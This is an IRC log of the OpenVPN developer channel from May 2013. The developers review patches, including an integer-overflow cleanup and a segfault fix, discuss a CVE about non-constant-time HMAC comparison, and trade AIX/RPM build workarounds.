need to add a preresolve-remotes [defaultip] option to my dual stack patch set 07:00 <@plaisthos> because that is the only useful way to support remote-ip-hint 07:00 <@plaisthos> and have an option that is actually useful 07:00 <@plaisthos> I wonder what else is undocumente 07:00 <@plaisthos> d 07:07 <@cron2> *sigh*, I thought I could get rid of a bit of that heap of convolutions, now I'm just adding to it 07:18 * plaisthos knows that feeling 07:19 <@plaisthos> I planned on throwing out ip-remote-hint and last meeting James told me that AS does in fact use that option :( 07:53 <@cron2> one of the most fascinating and at the same time most annoying things about the openvpn source is the brilliance of some of the bits 07:54 <@cron2> like, ssl.c, key_method_2_read() - that's used both in tls client and tls server mode, setting up "multi" or "client" environment and stuff, etc... 07:55 <@cron2> if I had done this, it would have code for "client side" and code for "server side" - wasting effort on code duplication, but maybe a *tad* easier to read 07:59 <@plaisthos> cron2: hehe, I know what you are talking about 08:35 <@cron2> so, my daily set of patches-to-do sent to the list... some feedback would be good :-) 08:37 <@plaisthos> yeah :/ 08:37 <@plaisthos> i acked the min patch 08:37 <@plaisthos> for the other patches I need time to actually look at them 09:14 <@plaisthos> ARGH. User asking when the "Your image does not support the VPN Service API, sorry :(" bug will fixed. Attached is a screenshot using comic sans as font 09:15 <@plaisthos> (You have modify your firmware to get a custom font as default on Android) 09:24 < syzzer> hi, just saw the MIN() patch, doesn't that potantially fail because current_cipher_len is of type size_t, and can thus be larger the MAX_INT, which would cause an integer overflow? 09:29 < syzzer> consider: 09:29 < syzzer> unsigned int uint = 0xFFFFFFFF, then 09:29 < syzzer> min_int ( uint, 0) -> -1 09:29 < syzzer> MIN( uint, 0) -> 0 09:51 <@cron2> urgh 09:53 <@cron2> need to look into that more closely 09:56 <@plaisthos> syzzer: good catch 09:57 <@plaisthos> I did not think about this too 09:57 <@plaisthos> perhaps we shold remove min_int in favour of MIN .... 10:02 < syzzer> the MIN() was in there to prevent a potential integer overflow for the %.*s string formatter, which expects an int, while size_t can be larger than int 11:28 <@vpnHelper> RSS Update - tickets: #290: OpenVPN connect on iOS Keysize issue, with DD-WRT <https://community.openvpn.net/openvpn/ticket/290> 12:18 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 246 seconds] 12:20 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 12:20 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds] 12:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:24 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:38 <@cron2> so do we need a min_uint(), then? is it realistic to assume that current_cipher_len could ever be larger than MAX_INT aka "2 Gbytes of string"? 12:42 <@cron2> using MIN() there without making it (int)MIN() could have surprising aspects anyway if site_t is longer than an int but sprintf() expects an int there 12:44 <@cron2> mattock: #290 is something for James... but I'm not sure whether he reads trac, so if you could channel that...? 12:46 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:46 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:55 < syzzer> cron2: because one of the arguments of MIN() is a fixed value, known to be smaller than MAX_INT (256), the result will not suffer from an integer overflow 12:58 < syzzer> and yes, it is very unlikely that a valid value for current_cipher_len would exceed MAX_INT, but especially in the ssl/cipher related code, I'd vote for making these kind of potential failures impossible 13:01 < syzzer> replacing it with a min_uint() suffers from the same problem as the native type of size_t varies amongst platforms. A min_size_t() would be a solution. 14:50 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 15:06 <@cron2> syzzer: well, actually it might result in "-1" if I read your example right, which might have interesting consequences.... min_uint() would be guaranteed to not have a negative result, so the type of size_t does not matter - if it's too big, it will be capped at 256 18:18 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 246 seconds] 18:18 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds] 18:19 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 18:20 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 18:20 -!- mode/#openvpn-devel [+v pekster] by ChanServ 18:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 18:23 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Mon May 06 2013 01:51 <@mattock> cron2: re: #290: ok 02:28 <@cron2> mattock: thanks. Regarding 2.3.2 - the last patch that should go in is the bugfix for trac#281 - it's on the list, but I'm still waiting for an ACK from the ticket reporter 02:30 <@mattock> ok 02:37 < syzzer> cron2: but if rsize_t would be an unsigned long 0x100000000 (larger than uint) and casted to uint, min_uint(big_rsize_t, 256) would be 0, not 256, right? 02:38 <@cron2> syzzer: but that would be *safe*, as opposed to "-1", which might bomb in exciting ways 02:38 < syzzer> s/rsize_t/size_t/ 02:38 <@cron2> (in that specific use case, not in the general case, of course) 02:39 < syzzer> ah, yes 02:39 < syzzer> agreed then, I can live with a min_uint() here :) 02:39 <@cron2> ok, I'll re-spin the patch 02:40 <@cron2> (the main aim is to have a common way "such requirements" are handled, and the single use of MIN() needs an extra #ifdef which is something we try to get rid of :-) ) 02:41 < syzzer> yup, I fully agree that it's nice to get rid of the MIN macro 02:46 <@cron2> why are current_cipher_len, begin_of_cipher and end_of_cipher size_t's anyway? 02:48 <@cron2> how do you like using constraint_int(current_cipher_len, 0, 256)? 02:49 * cron2 likes that even better 02:59 <@mattock> cron2: I've seen you've had some fun with Access Server -specific stuff :) 02:59 <@cron2> mattock: oh, indeed. manage.c is full of interesting findings :-) 03:09 * syzzer also likes contrain_int() 03:10 <@cron2> \o/ 03:24 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenVPN2013-week-18-summary 03:24 <@vpnHelper> Title: OpenVPN2013-week-18-summary – OpenVPN Community (at community.openvpn.net) 03:28 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:43 <@cron2> mattock: while you mention it, any progress with the windows builds? 03:44 <@mattock> no, haven't touched them... and the version with dynamic libstdc++/libgcc has not been tested yet 03:44 <@cron2> boo 03:44 <@mattock> the client side is not especially critical at this point 03:44 <@mattock> for openvpn tech I mean 03:45 <@cron2> it is not? I assumed you need the client as well - or is the customer only using Android devices? 03:45 <@mattock> eventually we'll need the client, too, but it's not nearly as critical as the server 03:45 <@mattock> our plan is to wait until it's too late, then do really crappy testing and then see it fail in production :D 03:46 <@mattock> isn't that how it usually goes? 03:46 <@cron2> that is how it usually goes, which is why you are following the open source model now - do so much testing that the stuff never gets finished, and miss all deadlines 03:46 <@mattock> but seriously... client-side testing will have to start next week or so 03:47 <@mattock> yeah, and filing everything to perfection and newer releasing it 03:47 <@cron2> jftr, I'll be in dublin all of next week, so won't have much time to help if problems arise (but seriously I don't expect anything, given that the openvpn core + patches is really well tested on Linux now, and those new bits are system independent) 03:47 <@mattock> yeah, if there are issues they'll be in the GUI part 03:47 <@mattock> most likely 03:48 <@mattock> and James can fix those 04:21 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 05:31 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:31 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:15 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 06:43 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 07:56 <@dazo> mattock: can you dig up an e-mail address for svimik? https://community.openvpn.net/openvpn/ticket/163 ... we have a patch we should give credit for 07:56 <@vpnHelper> Title: #163 (Segfault in PF) – OpenVPN Community (at community.openvpn.net) 08:02 <@cron2> this is ... interesting. Have we uncovered the bug with some 2.3 change? Or has this been there since the beginning of time, and nobody ever used it? 08:05 <@dazo> cron2: Good question ... It might be related to this commit, 4e1cc5f6dda22e9ff12 ... where a file now is explicitly created 08:05 <@dazo> but I've not dug into that 09:59 <@mattock> dazo: svimik@mail.ru 09:59 <@dazo> mattock: thx! 09:59 <@mattock> np 10:15 <@dazo> okay, #163 is finally closed! :) 10:17 <@vpnHelper> RSS Update - testtrac: Fix segfault when enabling pf plug-ins <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=31e5f34f3c6cf3aa6f120d22c415ac74a5ba1639> 10:24 -!- raidz is now known as raidz_away 10:24 -!- raidz_away is now known as raidz 11:37 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:37 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:18 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 16:00 -!- dazo is now known as dazo_afk 19:54 -!- raidz is now known as raidz_away --- Day changed Tue May 07 2013 02:44 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:38 -!- dazo_afk is now known as dazo 04:03 <@dazo> mattock, syzzer: http://www.openwall.com/lists/oss-security/2013/05/06/6 https://bugzilla.redhat.com/show_bug.cgi?id=960192 04:03 <@vpnHelper> Title: oss-security - Re: CVE request: OpenVPN use of non-constant-time memcmp in HMAC comparison in openvpn_decrypt (at www.openwall.com) 04:03 <@cron2> this is all getting weird now 04:04 <@dazo> well, yeah 04:05 <@dazo> it just shows that a CVE entry isn't necessarily critical at all 04:13 <@plaisthos> CVE is basically "are we talking about the same stuff?" 04:13 <@dazo> yeah 04:14 <@dazo> but ... I've seen CVE's where they seem to disagree there too .... several CVE's mentioning the same issue with different wording 04:15 <@plaisthos> dazo: CVE's gone wrong :) 04:15 <@dazo> :) 04:24 < syzzer> ah, right, so someone reserved a CVE entry for it somewhere in february, but never published it 04:26 <@dazo> syzzer: Kurt Seifried is RH guy, so I presume RH has a pre-allocated block of CVEs for future use 04:27 <@dazo> just pushed out some git notes on these commits, referencing the CVE ... so hopefully, things can calm down again 04:28 <@dazo> (go get these notes locally ... you need to do: git fetch origin refs/notes/*:refs/notes/* .... then you'll see them in git log) 04:28 * cron2 won't remember... 04:29 <@dazo> cron2: me neither ... I always have to google how to push and fetch notes, as that's really an odd mechanism) 04:29 <@cron2> plaisthos: any comment on the constrain_int() version of the patch? You ACKed the v1 (min_int), but I took syzzer's comments as NAK, and he already voiced that he likes constrain_int()... 04:30 <@cron2> ... and then it would be cool if the reporter of trac#281 would report back on that bugfix, so we could release 2.3.2... 04:30 * cron2 has way too many "pending" openvpn changes sitting in his queue 04:32 <@dazo> well, now I learnt something new .... %* ... 04:35 <@dazo> cron2: I can ACK it .... as it basically avoids negative integers 04:35 <@cron2> dazo: if you have time, ACK+merge to master would be nice, then it's off my queue :-) 04:35 <@dazo> Sure can do! 04:35 <@cron2> (I don't think we need that one in 2.3.2, it's "just cleanup", not a bugfix) 04:36 <@dazo> agreed 04:50 <@vpnHelper> RSS Update - testtrac: Use constrain_int() instead of MIN()+syshead.c compat definition - v2. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=bd25aa66b76b82f335abbb7377c278a44da194ac> 04:53 <@cron2> nice :-) 04:53 <@cron2> now the next interesting thing is "why is sf sending there-has-been-a-commit" mail only if I push, not if you do it? 04:53 <@dazo> now, that is interesting .... 04:54 <@cron2> do you get the mails if I push something? 04:54 <@dazo> I don't get any commit mails at all 04:54 <@dazo> I think I gave up signing up to that list ages ago :-P 04:56 * cron2 didn't sign up to anything, that just happened 04:58 <@cron2> oh :-) - dazo, are you good in RPM spec files? 04:58 <@dazo> I have some grasp on it 04:58 * cron2 is building RPMs for AIX, and the "default rules" are messing up my build - specifically, RPM always runs 04:58 <@cron2> [ -f configure.in ] && libtoolize --copy --force ; 04:59 <@cron2> and for whatever reason, this is breaking the perfectly fine libtool files the package ships 04:59 <@cron2> any easy way to suppress that? 04:59 <@dazo> For RHEL and Fedora, it's just %configure instead ... and it should do all the right things 04:59 <@cron2> (it's coming out of the %configure line, and I'd prefer not having to remove that) 05:00 <@cron2> yeah, %configure expands to "set some variables, run libtoolize, then run "./configure $Lotsofoptions" 05:00 <@dazo> okay, well, I've never done any AIX packaging ... so I'm really not sure if there's some quircks needed tehre 05:00 <@cron2> lots of quirks :-) - the question is just "any way to suppress running libtoolize" 05:01 * dazo looks 05:03 <@cron2> hehe 05:03 <@cron2> strategically injecting 05:03 <@cron2> libtoolize() { true; } 05:04 <@cron2> into the .spec file fixes the issue 05:04 <@dazo> well, that could maybe work around it 05:04 <@cron2> it's a hack, but building any sort of open source software on AIX is full of hacks 05:04 <@cron2> that OS is a weird mixture of "old unix concepts" and "new things that someone misunderstood and implemented in funny ways", like "shared libraries" 05:05 <@dazo> it seems %configure is a distro dependent macro ... it's not documented on rpm.org ... but it is in fedora docs 05:05 <@dazo> and as AIX is not RHEL/Fedora .... I'd guess they have their own ways there 05:05 <@cron2> shared library version handling is "there is a libfoo.a, which has members of libfoo.so.1, libfoo.so.2, libfoo.so.3, and the linker finds the right one the app needs"... 05:06 <@cron2> and no reasonable way to force -Wl,-rpath to link *this* version of the shared library, not "the other version that some other package happens to leave lying around"... 05:06 <@cron2> so I'm currently building Apache mod_ssl.so with static openssl, to ensure "yes this is the openssl version I've built with" 05:07 <@dazo> ahh! 05:07 <@dazo> okay, not openvpn related :) 05:07 <@cron2> not that building apache isn't it's own can of worms, with apr+aprutil+httpd coming in a big source file, but for certain options you need to build them all individually and in the right order... 05:07 <@cron2> no, not openvpn related, I was just picking your brains as "knows redhat stuff" :) 05:08 <@dazo> well, RPM isn't Red Hat Package Manager anymore .... it's RPM Package Manager these days, as many more distros use it ;-) 05:08 <@dazo> :-P 05:09 <@dazo> btw ... have you considered switching to nginx? .... I'm slowly moving a site over to that (through server upgrades) 05:09 <@dazo> nginx seems far more sane than apache in quite many ways ... even though, for php/python/perl stuff, you need FastCGI or some other equivalents 05:10 <@cron2> yeah, AIX uses RPM as well, in addition(!) to its own package manager... so you can have .rpm, .bff, and of course "what people install locally" :-) 05:10 <@dazo> $ rpm --eval '%configure' .... that should give you all the contents of %configure 05:11 <@cron2> dazo: I'm currently working on upgrading from apache 1.3 to 2.2, and that's painful enough with a large custom application built on top of that... with perl scripts, shell scripts, tomcat connector, RSA securid auth, SSL, ... 05:11 <@dazo> and indeed ... even Fedora have that " [ -f configure.in ] && libtoolize --copy --force ; " 05:11 <@dazo> ugh 05:11 * cron2 is not going to go to nginx any time soon 05:12 <@dazo> yeah, with that software pile running under Apache .... I wouldn't change that at this point either 05:13 <@cron2> I'm taking the opportunity to clean up the mess of about 25 included config files that have grown over time... 05:13 <@dazo> :) 07:30 <@ecrist> I know a lot of people that use and love nginx. I love apache 07:57 * cron2 would wish for some better API documentation for apache :-) 09:29 * cron2 curses building apache, apr, apr-util and rpm 09:30 <@cron2> forgot to pack the .so symlinks in apr/apr-util, which leads to "apache compiles perfectly well, but loading mod_ssl.so fails with unresolved symbols" 09:30 <@cron2> grrr 09:59 * plaisthos curses the bad source address from client error message for not telling what the bad source address is 10:04 <@dazo> hehehe 10:32 * plaisthos decides not to look into source to see if it is easy fixable 10:36 -!- raidz_away is now known as raidz 11:36 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:36 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:51 -!- dazo is now known as dazo_afk 19:42 -!- raidz is now known as raidz_away --- Day changed Wed May 08 2013 03:28 <@cron2> arrrr... autoconf rant... why does libarchive bother to have HAVE_SPAWN_H if their configure doesn't actually *check* that? 03:52 <@plaisthos> :) 03:53 <@plaisthos> compiling libarchive for AIX? 04:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:11 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 04:11 -!- mode/#openvpn-devel [+o andj__] by ChanServ 04:12 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:12 -!- mode/#openvpn-devel [+v krzie] by ChanServ 04:14 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 256 seconds] 04:15 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 04:21 -!- Netsplit *.net <-> *.split quits: jgeboski, +krzee, @andj 04:21 -!- andj__ is now known as andj 04:21 -!- krzie is now known as krzee 04:57 <@cron2> plaisthos: no, today is FreeBSD day 05:31 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 06:17 <@plaisthos> cron2: but libarchive should build very well on FreeBSD 06:18 <@plaisthos> I mean it is the main development platform for libarchive 06:18 <@plaisthos> (and FreeBSD ships libarchive) 06:22 <@cron2> plaisthos: it does on 8 and up, but the systems in question are 7 and I need it to work around their "we don't support 7 anymore, so we break port installation graciously" surprise 06:22 <@cron2> and yes, I should upgrade, but it's a lot of work... 06:22 <@plaisthos> cron2: :( 06:22 * plaisthos check what version his freebsd system is... 06:23 <@cron2> ports with .lzma distfiles used to work by calling lzma/xz from Mk/..., and with the most recent ports updates, they now just call /usr/bin/tar -xf ... - which bombs on lzma, unless you use the bsdtar from ports/archivers/libarchive ... 06:23 <@cron2> but yes, workarounds on top of workarounds, and I'm a bad admin for not running 9.1 everywhere 06:23 <@cron2> (and even worse admin for not having upgraded everything to amd64) 06:24 <@plaisthos> heh 08:13 <@ecrist> cron2: is this for your own use, or just devel? 08:13 <@ecrist> you can always use that VM I got for you, it's current-ish 08:14 <@ecrist> lol 08:14 <@ecrist> 8:14AM up 343 days, 17:47, 2 users, load averages: 0.02, 0.02, 0.00 08:14 <@ecrist> USER TTY FROM LOGIN@ IDLE WHAT 08:14 <@ecrist> cron2 pts/0 mgetty.greenie.net 05Oct12 13days bash 08:14 <@ecrist> you've been logged in since October 08:14 <@ecrist> that box is 9.0 09:41 <@cron2> ecrist: production use at $customer 09:41 <@cron2> for OpenVPN, I have all the VMs we need right now :-) - thanks 10:20 -!- raidz_away is now known as raidz 11:40 <@cron2> so... if someone could review the "Fix NULL-pointer crash" patch...? 12:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:01 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:07 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 12:08 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 12:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:20 <@ecrist> krzee: your DNS issues is resolved 13:20 <@ecrist> har har 14:02 <+krzee> thanky 14:02 <+krzee> was it a missing . on the secondary? 14:03 <+krzee> ^ @ ecrist 15:44 -!- novaflash is now known as novaflash_away 15:50 -!- novaflash_away is now known as novaflash 15:50 -!- novaflash is now known as Johan 15:50 -!- Johan is now known as novaflash 15:51 -!- novaflash is now known as Johan 15:51 -!- Johan is now known as Guest25647 15:52 -!- Guest25647 is now known as novaflash 15:59 -!- novaflash is now known as novaflash_away 16:00 -!- novaflash_away is now known as novaflash 17:22 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 17:24 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:24 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:24 -!- dazo_afk is now known as dazo 18:04 -!- raidz is now known as raidz_away 18:07 -!- raidz_away is now known as raidz 19:46 -!- raidz is now known as raidz_away 20:38 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 22:59 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 22:59 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Thu May 09 2013 03:38 <@mattock> interesting... got a mail from a guy complaining that he is unable to access the internet via (Open)VPN after migrating his VPN to a new laptop... and somehow he thinks that the community services credentials are to blame 03:39 <@mattock> worst confusion so far 03:48 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:19 <@mattock> who would be able to attend the meeting today? 04:19 <@mattock> i.e. should we arrange one 04:23 * cron2 would be able to attend, but whether a meeting is useful basically depends on dazo and plaisthos reviewing the snappy and push-peer-info patches... 04:29 <@mattock> James could probably attend, but he won't be able to help much with the review 04:29 <@mattock> let's wait what the guys say 04:30 <@cron2> I'll be here (... because I have to finish other work, so I'll be at the machine anyway) 04:30 <+krzee> i'll be available for moral support :D 07:35 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 07:43 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 07:43 <@ecrist> krzee: no, your zones didn't exist at all on the slave 08:00 <@plaisthos> cron2: I will try to look at the code toady 08:05 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 08:08 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 08:11 <@plaisthos> interesting enough there is unaligned access optimized lzo version 08:11 <@plaisthos> https://lkml.org/lkml/2012/10/3/144 08:11 <@vpnHelper> Title: LKML: "Markus F.X.J. Oberhumer": Re: [GIT PULL v2] Update LZO compression (at lkml.org) 08:22 <@plaisthos> cron2: any idea about the "static void dummy(void) {}"? 10:08 <+krzee> woot main channel sits over 200 people all the time now 10:23 <@cron2> plaisthos: I think that's due to weird compilers refusing completely empty source modules (#ifndef ENABLE_THIS) 10:23 * cron2 has never encountered one, though 10:25 -!- raidz_away is now known as raidz 10:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 10:33 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:40 <@plaisthos> cron2: ah okay 10:45 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 10:46 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:11 <@plaisthos> cron2: I looked through patches but I won't be here for the (potential) meeting 11:30 <@mattock> let's not have a meeting today 11:31 <@mattock> better to get the patches reviewed on the ml, if possible 11:53 <@cron2> +1 11:54 <@cron2> plaisthos: well, you sent the ACKs, so I can commit 2/5 and 5/5, and then work on fixing 3/5 and slightly twisting 4/5 (feedback from James), so there's enough work, no need for a meeting ;-) 12:05 * krzee keeps his moral support for another day 17:04 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 18:01 -!- raidz is now known as raidz_away 18:36 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 18:36 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Fri May 10 2013 00:47 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 02:05 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:15 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:15 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:53 <@plaisthos> cron2: :) 03:59 -!- Netsplit *.net <-> *.split quits: MeanderingCode 04:00 <@plaisthos> cron2: and I need to generate a useful version string for my app ;) 04:01 -!- Netsplit over, joins: MeanderingCode 04:01 <@plaisthos> (or incoperate the version building stuff in my Android build process --- Log closed Fri May 10 04:12:34 2013 --- Log opened Fri May 10 06:55:35 2013 06:55 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:55 -!- Irssi: #openvpn-devel: Total of 22 nicks [8 ops, 0 halfops, 3 voices, 11 normal] 06:55 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 06:55 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 09:33 * plaisthos add UV_ICSOPENVPN_VERSION environment variable in preparation for the always push peer info patch :) 10:14 -!- raidz_away is now known as raidz 12:26 -!- novaflash is now known as novaflash_away 14:14 -!- dazo is now known as dazo_afk 15:15 -!- novaflash_away is now known as novaflash 19:27 -!- raidz is now known as raidz_away 20:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 264 seconds] 20:11 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 20:11 -!- d12fk [~heiko@exit0.net] has quit [Ping timeout: 264 seconds] 20:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:11 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:12 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 20:12 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 20:12 -!- dazo_afk is now known as dazo 20:13 -!- Netsplit *.net <-> *.split quits: Tiaos 20:14 -!- Netsplit over, joins: Tiaos 20:37 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 20:37 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 20:37 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 20:39 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:39 -!- mode/#openvpn-devel [+o andj__] by ChanServ 20:39 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 20:39 -!- andj__ is now known as andj 20:43 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:43 -!- mode/#openvpn-devel [+v krzie] by ChanServ 20:43 -!- krzie is now known as krzee 20:56 -!- Netsplit *.net <-> *.split quits: Tiaos 20:57 -!- Netsplit over, joins: Tiaos 20:57 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:57 -!- mode/#openvpn-devel [+o andj__] by ChanServ 21:03 -!- Netsplit *.net <-> *.split quits: @andj, riddle 21:03 -!- andj__ is now known as andj 21:06 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 21:07 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 252 seconds] 21:07 -!- EvilJStoker_ is now known as EvilJStoker 21:11 -!- Netsplit *.net <-> *.split quits: +krzee 21:15 -!- Netsplit over, joins: +krzee 21:21 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 21:21 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 21:23 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:24 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 21:26 -!- Netsplit *.net <-> *.split quits: MeanderingCode 21:29 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood] 21:30 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 21:44 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 268 seconds] 21:48 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 21:53 -!- Netsplit *.net <-> *.split quits: @andj 21:53 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:53 -!- mode/#openvpn-devel [+o andj__] by ChanServ 21:53 -!- andj__ is now known as andj --- Day changed Sat May 11 2013 01:42 -!- mattock is now known as mattock_afk 01:56 -!- mattock_afk is now known as mattock 02:49 -!- mattock is now known as mattock_afk 03:31 -!- waldner_ [waldner@openvpn/user/waldner] has joined #openvpn-devel 06:41 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 06:51 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 07:32 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 245 seconds] 07:47 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 11:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 11:20 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:28 -!- Netsplit *.net <-> *.split quits: waldner_ 11:29 -!- Netsplit over, joins: waldner_ 12:41 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 268 seconds] 12:42 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 13:14 -!- Netsplit *.net <-> *.split quits: @raidz_away, Tiaos, jgeboski, EvilJStoker, chantra 13:30 -!- Tiaos [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has joined #openvpn-devel 13:36 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 13:36 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:36 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 13:36 -!- ServerMode/#openvpn-devel [+o raidz_away] by pratchett.freenode.net 13:44 -!- Netsplit *.net <-> *.split quits: Tiaos 13:50 -!- Netsplit over, joins: Tiaos 15:31 -!- Tiaos [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has quit [Ping timeout: 276 seconds] 16:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] --- Log closed 